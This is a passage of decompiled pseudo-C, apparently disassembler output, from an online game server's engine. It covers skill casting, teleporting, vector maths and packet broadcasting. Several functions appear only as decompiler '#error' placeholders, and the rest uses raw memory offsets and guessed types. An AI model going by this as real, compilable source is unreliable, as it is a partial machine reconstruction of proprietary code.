&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"); } //----- (0050F780) -------------------------------------------------------- void __thiscall ShineRadian::ShineRadian(ShineRadian *this) { signed int v1; // esi@1 long double v2; // st7@2 signed int sr; // [sp+0h] [bp-4h]@1 v1 = 0; sr = 0; do { v2 = (double)sr * 0.03490658555555556; this->sr_sin[v1] = (unsigned __int64)(sin(v2) * 1024.0); this->sr_cos[v1++] = (unsigned __int64)(cos(v2) * 1024.0); sr = v1; } while ( v1 < 180 ); } //----- (0050F7E0) -------------------------------------------------------- int __thiscall ShineRadian::sr_sin1024(ShineRadian *this, int sr) { return this->sr_sin[sr % 180]; } //----- (0050F800) -------------------------------------------------------- int __thiscall ShineRadian::sr_cos1024(ShineRadian *this, int sr) { return this->sr_cos[sr % 180]; } //----- (0050F820) -------------------------------------------------------- int __thiscall ShineRadian::sr_degree2sr(ShineRadian *this, int deg) { int v2; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineRadian::sr_degree2sr"); v2 = deg; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineRadian::sr_degree2sr"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( deg < 0 ) v2 = deg + 360 * (-1 - deg) / 0x168u + 360; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineRadian::sr_degree2sr"); return 180 * v2 % 360 / 360 % 180; } //----- (0050F8D0) -------------------------------------------------------- void __thiscall NPCAction::doTriggers_::doTriggers_(ShineRTTI *this, const char *pcName, ShineRTTI *pkBaseRTTI) { this->m_pcName = pcName; this->m_pkBaseRTTI = pkBaseRTTI; } //----- (0050F8F0) -------------------------------------------------------- void __thiscall VectorClass::UnitVector::Rotation(VectorClass::UnitVector *this, int Radian) { VectorClass::UnitVector *v2; // esi@1 int v3; // ebx@1 int v4; // edi@1 int v5; // ST14_4@1 int v6; // ebp@1 int Radiana; // [sp+18h] [bp+4h]@1 v2 = this; v3 = this->baseclass_0.baseclass_4.v_x; v4 = Radian; v5 = this->baseclass_0.baseclass_4.v_y; Radiana = this->baseclass_0.baseclass_4.v_y * ShineRadian::sr_sin1024(&shineradian, Radian); v2->baseclass_0.baseclass_4.v_x = (v3 * ShineRadian::sr_cos1024(&shineradian, v4) - Radiana) / 1024; v6 = v5 * ShineRadian::sr_cos1024(&shineradian, v4); v2->baseclass_0.baseclass_4.v_y = (v6 + v3 * ShineRadian::sr_sin1024(&shineradian, v4)) / 1024; } //----- (0050F980) -------------------------------------------------------- void __thiscall FanFormSectorArgument::_FanFormSectorArgument(FanFormSectorArgument *this) { this->ffsa_chardirect.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; } // 5A21E8: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (0050F990) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastSuccessPacket(int this) { int v1; // esi@1 int v2; // eax@1 int result; // eax@1 v1 = this; v2 = *(_DWORD *)this; *(_WORD *)(this + 32052) = 0; result = (*(int (__stdcall **)(signed int, signed int))(v2 + 772))(9, 53); *(_BYTE *)(v1 + 89008) &= 0xFDu; return result; } //----- (0050F9C0) -------------------------------------------------------- void __thiscall AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy(AxialListNearScanSkillEnemy *this) { AxialListNearScanSkillEnemy *v1; // esi@1 v1 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillEnemy::_vftable_; } // 5CD12C: using guessed type int (__stdcall *AxialListNearScanSkillEnemy___vftable_)(int, int, int distancesquar); //----- (0050F9E0) -------------------------------------------------------- void __thiscall AxialListNearScanSkillParty::AxialListNearScanSkillParty(AxialListNearScanSkillParty *this) { AxialListNearScanSkillParty *v1; // esi@1 v1 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillParty::_vftable_; } // 5CD134: using guessed type int (__stdcall *AxialListNearScanSkillParty___vftable_)(int, int, int distancesquar); //----- (0050FA00) -------------------------------------------------------- void __thiscall AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(AxialListNearScanSkillFriend *this) { AxialListNearScanSkillFriend *v1; // esi@1 v1 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillFriend::_vftable_; } // 5CD13C: using guessed type int (__stdcall *AxialListNearScanSkillFriend___vftable_)(int, int, int distancesquar); //----- (0050FA20) -------------------------------------------------------- void __thiscall AxialListNearScanSkillParty::_AxialListNearScanSkillParty(AxialListNearScanSkillFriend *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListScanSkillTarget::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0.baseclass_0); } // 5CD124: using guessed type int (__stdcall *AxialListScanSkillTarget___vftable_)(int, int, int distancesquar); //----- (0050FA30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this, int Location) { int v2; // esi@1 int v3; // ecx@1 int result; // eax@1 v2 = (int)this; (*(void (**)(void))(*(_DWORD *)this + 2528))(); (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v2 + 828))(v2, 0, 1, 3); v3 = *(_DWORD *)(v2 + 78); *(_DWORD *)v3 = *(_DWORD *)Location; *(_DWORD *)(v3 + 4) = *(_DWORD *)(Location + 4); *(_DWORD *)(v2 + 8832) = *(_DWORD *)Location; *(_DWORD *)(v2 + 8836) = *(_DWORD *)(Location + 4); ShineObjectClass::ShineMob::sm_SetBrain((void *)v2); result = FieldMap::fm_Marking(*(#331 **)(v2 + 98), v2, 0, 0) == 0; if ( !result ) { AssertClass::ac_AssertFail(&shineassert, "ShineMob::smo_Teleport : Fail", 0); result = *(_DWORD *)(v2 + 3716); *(_BYTE *)result = 3; *(_DWORD *)(v2 + 7460) = 0; } return result; } //----- (0050FAC0) -------------------------------------------------------- void __thiscall AxialListMagicFieldAggro::_AxialListMagicFieldAggro(AxialListMagicFieldAggro *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldAggro::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5CD164: using guessed type int (__stdcall *AxialListMagicFieldAggro___vftable_)(int, int, int distancesquar); //----- (0050FAE0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastFail(int this, __int16 err) { __int16 result; // ax@1 result = err; *(_WORD *)(this + 32052) = err; return result; } //----- (0050FAF0) -------------------------------------------------------- #error "50FAF0: undefined or illegal type '#748' (funcsize=7)" //----- (0050FB10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ChineCastCut(void *this) { void *v1; // esi@1 v1 = this; *((_BYTE *)v1 + 7416) |= 0x40u; ShineObjectClass::ShinePlayer::sp_ChineCastCut(this); *((_BYTE *)v1 + 7416) &= 0xBFu; } //----- (0050FB30) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueSkillErase *content) { unsigned int v3; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; this->mq_Buffer[this->mq_Pointer.value].content.mqr_SkillID = content->mqr_SkillID; return LOWORD(this->mq_Pointer.value); } //----- (0050FB70) -------------------------------------------------------- void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this) { VectorClass::VectorWithLength *v1; // esi@1 int v2; // eax@1 int v3; // ST00_4@1 v1 = (VectorClass::VectorWithLength *)&this->ffsa_chardirect; this->ffsa_chardirect.baseclass_0.baseclass_4.v_x = 1; this->ffsa_chardirect.baseclass_0.baseclass_4.v_y = 1; v2 = this->ffsa_chardirect.baseclass_0.baseclass_4.v_y; v3 = this->ffsa_chardirect.baseclass_0.baseclass_4.v_x; this->ffsa_chardirect.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->ffsa_chardirect.baseclass_0.vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v3, v2); v1->vfptr = (VectorClass::VectorWithLengthVtbl *)VectorClass::UnitVector::_vftable_; VectorClass::VectorWithLength::vwl_Scale(v1, 32); } // 5A21E8: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 5C24FC: using guessed type int (__stdcall *VectorClass__UnitVector___vftable_[2])(int sklidx); //----- (0050FBC0) -------------------------------------------------------- #error "50FBC0: undefined or illegal type '#331' (funcsize=34)" //----- (0050FC20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_old_skill_blast(void *this, int idx, int a3, int skill, int empower) { void *v5; // esi@1 int v6; // edx@1 char v7; // cl@2 int v8; // edx@2 char v9; // dl@3 int v10; // edx@3 char resist; // [sp+13h] [bp-B9h]@3 _BYTE smasharg[4]; // [sp+14h] [bp-B8h]@2 int v13; // [sp+18h] [bp-B4h]@2 __int16 v14; // [sp+1Ch] [bp-B0h]@2 char isenemy; // [sp+20h] [bp-ACh]@3 FunctionEntarance _; // [sp+24h] [bp-A8h]@1 BattleObjectGroup::BattleObjectStruct battleobject; // [sp+28h] [bp-A4h]@3 int v18; // [sp+C8h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = **(_DWORD **)(idx + 64); v18 = 0; if ( (unsigned __int8)(*(int (**)(void))(v6 + 32))() ) { v7 = *(_BYTE *)(skill + 4); v8 = *(_DWORD *)v5; v14 = *(_WORD *)empower; smasharg[1] = v7; smasharg[0] = 0; v13 = idx; (*(void (__thiscall **)(void *, int, _BYTE[4]))(v8 + 1400))(v5, a3, smasharg); } v9 = *(_BYTE *)(skill + 4); v14 = *(_WORD *)empower; smasharg[0] = 0; smasharg[1] = v9; v13 = idx; BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(&battleobject); v10 = *(_DWORD *)v5; LOBYTE(v18) = 1; isenemy = (*(int (__thiscall **)(void *, int, _DWORD))(v10 + 2340))(v5, a3, "smo_SkillBlast"); (*(void (__thiscall **)(void *, int, _BYTE[4], BattleObjectGroup::BattleObjectStruct *, char *, _DWORD))(*(_DWORD *)v5 + 1404))( v5, a3, smasharg, &battleobject, &resist, *(_DWORD *)&isenemy); LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&battleobject); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"); } //----- (0050FD90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_13 & 1) ) { _S10_13 |= 1u; cmc_89.cmc_AllowMode = 4; atexit(_E11_27); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_89.cmc_AllowMode && *((_DWORD *)v4 + 1793) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2712))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"); } //----- (0050FE80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_CastAbort(void *this) { void *v1; // esi@1 int v2; // eax@1 char *v3; // eax@4 int v4; // ST04_4@4 int v5; // eax@4 char *v6; // [sp-4h] [bp-28h]@2 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@4 int v8; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::sp_castabort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::sp_castabort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1799); v8 = 0; if ( v2 ) { v6 = "ShineObjectClass::ShineMobileObject::sp_castabort"; } else { if ( *((_DWORD *)v1 + 1793) ) { v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9272; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v8) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v1 + 7172); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } v6 = "ShineObjectClass::ShineMobileObject::sp_castabort"; } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (0050FF90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_CastAbort(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_castabort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_castabort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_CastAbort(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_castabort"); } //----- (00510030) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 char *v9; // eax@1 int v10; // eax@4 unsigned int v11; // ecx@7 char *v12; // ecx@7 int v13; // eax@9 int v14; // ST04_4@10 int v15; // eax@10 int v16; // edx@10 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@10 int v18; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v18 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 1352))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v9 = gpp.pp_Buffer; v8[16] = 0; *(_WORD *)v9 = 9272; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); if ( !(_S18_16 & 1) ) { _S18_16 |= 1u; cmc_90.cmc_AllowMode = 4; atexit(_E19_15); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_90.cmc_AllowMode ) { if ( *((_DWORD *)v4 + 1793) ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v14 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v18) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v15, v14, 0, 0, (int)&alchat, 1, 65535); v16 = *(_DWORD *)v4; *((_DWORD *)v4 + 1793) = 0; (*(void (__thiscall **)(void *))(v16 + 2716))(v4); LOBYTE(v18) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_11; } v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); } else { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); } v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD : Packet Too Long", 4); } LABEL_11: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"); } //----- (00510250) -------------------------------------------------------- #error "510250: undefined or illegal type '#331' (funcsize=69)" //----- (00510360) -------------------------------------------------------- #error "510360: undefined or illegal type '#331' (funcsize=50)" //----- (00510440) -------------------------------------------------------- #error "510440: undefined or illegal type '#748' (funcsize=42)" //----- (00510500) -------------------------------------------------------- #error "510500: undefined or illegal type '#331' (funcsize=42)" //----- (005105E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(void *this, int idx, int targetpoint) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 char *v7; // eax@1 int v8; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1352))(v3); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v4 + 12); v7 = gpp.pp_Buffer; v6[16] = 0; *(_WORD *)v7 = *(_WORD *)v7 & 0x3FF | 0x2400; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1160))(v3); (*(void (__thiscall **)(int, void *))(*(_DWORD *)v8 + 48))(v8, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"); } //----- (005106E0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mobile_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_mobile_Teleport", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); } //----- (00510780) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_mobile_Teleport(int Location) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mobile_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_mobile_Teleport", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); } //----- (00510820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this) { void *v1; // esi@1 BlockDistribute::BlockingDistribute *v2; // ecx@1 SHINE_XY_TYPE loc; // [sp+8h] [bp-14h]@1 int v4; // [sp+18h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(BlockDistribute::BlockingDistribute **)(*(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 20) + 1068); v4 = 0; if ( BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(v2, &loc) ) (*(void (__thiscall **)(void *, SHINE_XY_TYPE *))(*(_DWORD *)v1 + 1668))(v1, &loc); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Teleport"); } //----- (005108E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_mobile_Teleport(int this, int Location) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8211; v3 = this; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); *((_DWORD *)v2 + 1) = *(_DWORD *)Location; *((_DWORD *)v2 + 2) = *(_DWORD *)(Location + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 12); v4 = *(_DWORD *)(v3 + 78); v7 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); ShineObjectClass::ShineObject::so_MoveTo(v3, *(_DWORD *)Location, *(_DWORD *)(Location + 4), 6); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2532))(v3); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } // 438B20: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (005109A0) -------------------------------------------------------- #error "5109A0: undefined or illegal type '#331' (funcsize=56)" //----- (00510A80) -------------------------------------------------------- #error "510A80: undefined or illegal type '#748' (funcsize=50)" //----- (00510B50) -------------------------------------------------------- #error "510B50: undefined or illegal type '#748' (funcsize=194)" //----- (00510E40) -------------------------------------------------------- #error "510E40: undefined or illegal type '#331' (funcsize=64)" //----- (00510F50) -------------------------------------------------------- #error "510F50: undefined or illegal type '#331' (funcsize=33)" //----- (00510FF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ(void *this, unsigned __int16 *netcmd, __int16 tmp, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 unsigned __int16 *v6; // ebx@1 bool v7; // zf@1 __int16 v8; // dx@1 int v9; // eax@9 int v10; // eax@10 int v11; // edx@10 int v12; // eax@10 int v13; // eax@13 int v14; // eax@20 __int16 v15; // cx@20 int v16; // eax@22 char v17; // al@24 int v18; // eax@25 ItemDataBox::ItemDataBoxIndex *v19; // eax@26 int v20; // eax@28 char v21; // al@31 int v22; // eax@32 unsigned __int16 v23; // ax@33 char *v24; // [sp-4h] [bp-28h]@6 FunctionEntarance _; // [sp+10h] [bp-14h]@1 int flag; // [sp+14h] [bp-10h]@10 int v27; // [sp+20h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = netcmd; v7 = (_S35_2 & 1) == 0; *(_WORD *)gpp.pp_Buffer = 18471; v8 = *(unsigned __int16 *)((char *)v6 + 3); v27 = 0; *((_WORD *)v5 + 1) = v8; if ( v7 ) { _S35_2 |= 1u; cmc_91.cmc_AllowMode = 70; atexit(_E36_3); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_91.cmc_AllowMode) ) { *((_WORD *)v5 + 2) = 5378; goto LABEL_5; } if ( !CharaterSkillList::csl_IsLearn((CharaterSkillList *)v4 + 3412, *(unsigned __int16 *)((char *)v6 + 3)) ) { *((_WORD *)v5 + 2) = 5379; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); v24 = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6); v24 = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; } goto LABEL_19; } v10 = *((_BYTE *)v6 + 2); v11 = *((_DWORD *)v4 + 8892); netcmd = (unsigned __int16 *)*((_BYTE *)v6 + 2); flag = v10; v12 = (*(int (__thiscall **)(char *))(v11 + 8))((char *)v4 + 35568); if ( (signed int)netcmd >= v12 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : wrong slot", flag); *((_WORD *)v5 + 2) = 1794; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { LABEL_12: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6); LABEL_18: v24 = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; LABEL_19: --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v24); return; } v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_17: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); goto LABEL_18; } if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, unsigned __int16 *))(*((_DWORD *)v4 + 14442) + 12))( (char *)v4 + 57768, 9, netcmd) ) { *((_WORD *)v5 + 2) = 1802; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) goto LABEL_12; v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); goto LABEL_17; } v14 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, *((_BYTE *)v6 + 2)); v15 = *(_WORD *)(v14 + 8); netcmd = (unsigned __int16 *)(v14 + 8); if ( unk_12510DDA == v15 ) { v16 = (*(int (__stdcall **)(int))(**(_DWORD **)(v14 + 112) + 24))(v14 + 8); if ( !AssertClass::operator__( &shineassert, v16 > 0, 